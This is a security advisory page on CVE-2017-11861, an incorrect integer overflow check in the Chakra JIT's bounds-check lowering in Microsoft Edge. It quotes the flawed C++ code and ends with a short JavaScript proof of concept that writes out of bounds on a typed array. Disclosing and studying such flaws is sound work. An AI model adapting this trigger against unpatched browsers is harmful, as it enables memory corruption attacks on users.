Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck(CVE-2017-11861)

2017-11-1600:00:00

Root

www.seebug.org

0.949 High

EPSS

Percentile

99.1%

JSON

Here’s a snippet of the method.

void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
    ...
    if(rightOpnd-&gt;IsIntConstOpnd())
    {
        IntConstType newOffset;
        if(!IntConstMath::Add(offset, rightOpnd-&gt;AsIntConstOpnd()-&gt;GetValue(), &newOffset)) &lt;&lt;--- (a)
        {
            offset = newOffset;
            rightOpnd = nullptr;
            offsetOpnd = nullptr;
        }
    }
    ...
    if(!rightOpnd)
    {
        rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
    }
}

At (a), it uses “IntConstMath::Add” to check integer overflow. But the size of IntConstType equals to the size of pointer, and the “offset” variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.


                                                function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();